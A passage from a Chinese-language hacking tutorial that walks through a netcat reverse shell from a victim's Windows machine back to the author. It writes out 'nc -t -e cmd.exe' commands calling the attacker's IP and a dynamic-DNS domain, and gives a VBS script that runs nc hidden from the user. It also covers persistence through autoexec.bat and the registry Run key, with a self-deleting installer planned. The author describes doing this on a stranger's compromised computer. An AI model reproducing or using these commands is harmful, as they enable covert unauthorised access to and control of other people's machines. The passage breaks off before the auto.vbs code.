三、反向链接的实现;所谓反向链接,简单的说就是目标机主动来链接我们的机子,而不用我们主动去找他,这样我们就省事的多了,当目标机上线后会自动来链接我们设定的端口(这算是我个人的理解吧,我也没有一个准确的定义).我们下面一步步来解实现,一步步来解决其中出现的问题,最终实现我们的目的!一个简单的例子,假设我们的IP为:219.144.20.42 那么在目标机上我们可以用这样的命令来实现反弹:nc -t -e cmd.exe 219.144.20.42 99(如图6).它的意思就是,把cmd定向在219.144.20.42(我们机子)的99端口上,那么我们在本机上直接监听99端口,就可的到shell,nc -l -p 99(如图7)(一点说明,就是以上操作应当先在本机监听,然后在目标机上执行重定向,这样才能实现反弹!).以上反弹的实现看起来很容易就能实现,但细想一下,在我们实际情况中并不是这样简单的,首先这样的反弹只是一次性的!因为对方和我们一般来说都是个人用户,都是动态的IP,重启后下次就不能用nc -t -e cmd.exe 219.144.20.42 99来和我们进行链接,因为我们的IP地址已经发生了变化!而且我们也不可能当我们的IP地址每变一次,我们就去入侵他一次,然后改变我们刚才的IP地址,这是不现实的.那么怎样来解决这一问题呢?怎样才能让它,当我们的IP 发生变化后仍然可以实现把它的shell反弹到我们的机子上来呢?这是关键的一步,为此我也曾冥思苦想,好长时间没有想出一个解决的办法.也没有人告诉我该怎么做!不过我并没有因此而放弃,我用nc本身所带的参数并不能实现我所要的功能,于是我把思路转在了nc之外,很快我想到"域名转向"这个方法,即使用动态域名!呵呵~~我终于成功了,功夫不负有心人啊,真的是有感而发.我使用的是希网网络提供的免费动态域名,大家可以到这个网上去注册一个!注册成功后会得到一个:用户名的动态域名,然后下载客户端软件,便可实现了!(关于动态域名的一些知识以及如何申请、使用客户端我在这里就不讲了,我只能说这不是我要讲的主题,有兴趣的朋友可以自己去试一下,很简单的)。
我申请的是并在本机上安装客户端软件(如图8)。
这样我们就可以用以下命令来实现反弹:nc -t -e cmd.exe 7788 -d我想大家一定能明白这行命令的意思吧?就是将本机的cmd重定向在的7788端口上,这里的就是我注册的动态域名转向了,因此无论我的IP如何变化都能够转到我的机子上来,只要在我的机子上监听7788端口便可以了,这样就实现了反弹的目的了,呵呵~~~现在想来其实也很简单的了,我基本什么也没有做!到此可以说理论上已经完成了,下一步就是怎样来完善了。
四、用VBS编程来实现通过刚才的例子我们可以知道,只用nc -t -e cmd.exe 7788 -d这样一句命令就可以实现反向链接了,那么如何让目标机一开机就把它的cmd定向到我的机子上来了呢?很多朋友会立刻想到用批处理来实现,这的确是一个不错的主意,用批处理最简单、最容易实现,对我们来说也是比较的熟悉。
但是用批处理有一个弊端,就是当我们把以上命令存为一个批处理文件并运行这个批处理时,会有一个DOS窗口一闪而过,虽然来不及看是什么,但别人一看也就明白了,这样很容易就会被发现!那么如何来避免呢?我采取的是用VBS 来编程实现,使用它的好处就是它不会弹出DOS窗口,同样能够完成批处理的功能。
(关于VBS的一些知识我不能在这里给大家介绍了,虽然我是只懂得一点点,但说起来恐怕真的三天也讲不明白个所以然,会影响了我要说的主题,也恐怕会引起一些人的不满,说我尽说些无关的话题,所以我写的程序我就不做详细解释了,如果看不懂的话可以照搬我程序,请大家原谅!)请将以下程序另存为nc.vbs然后和nc.exe一起存放在目标机的%systemroot%\system32下即可,然后我们在本机上监听7788端口,在目标机上运行nc.vbs 就能得到对方的shell。
nc.vbs程序内容如下:dim wshellset wshell=CreateObject("wscript.shell")wshell.run "nc -t -e cmd.exe 7788 -d",0,true 上面的程序其实就是执行了nc -t -e cmd.exe 7788 –d这样一条语句。
当我们成功的把nc.vbs和nc.exe上传到目标机上后,下一步如何让它实现自动运行的方法就有很多了,我想大家也能想到一些办法的,还是看我的一个具体实例吧。
前提是我已经通过其它方法成功进入了别人的一台机子,并用radmin建立了正向链接,而且也已经上传了nc.vbs和nc.exe这个不说了,看图吧(如图9)。
接下来我在我的机子上开始监听7788端口(如图10)。
我通过radmin的远程telnet功能在目标机上运行nc.vbs,然后就在我的机子上到得了对方的shell(如图11),从图中大家也可以看得出,我的机子是2000系统而对方的是XP!既然我得到了对方的shell 那么我就可以想做什么做什么了,呵呵~~。
进一步查看一下对方的机子吧,我查看了一下他机子的boot.ini发现这是一台xp Home Edition版的机子(如图12)。
我下步要做的就是把nc.vbs添加到目标机的autoexec.bat中,目的就是让它开机自动运行,来实现真正的反弹呀!呵呵`~~~。
我通过echo命令结合>>来给它添加(如图13)。
让它自动运行的方法有很多种,刚才我用的是修改autoexec.bat的方法来实现,我再讲一下添加注册表的方法吧,我同样用vbs来完成。
我们知道如果在注册表中HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\这个位置添加键值,便会开机自动运行。
所以我就用vbs程序来在以上位置添加nc.vbs,文件名为auto.vbs。
为了更加的隐蔽,我又添加了能实现自我删除的功能,就是当运行完auto.vbs文件后它首先会将%systemroot%\system32\nc.vbs添加到注册表中Run下,然后就自我删除!为了实现能够自我删除,我也想了好长时间、好多办法最后终于成功了,可能我的方法不是很正规和科学,但因水平有限只能暂且这样了,呵呵~~~看程序吧,将以下程序保存为auto.vbs。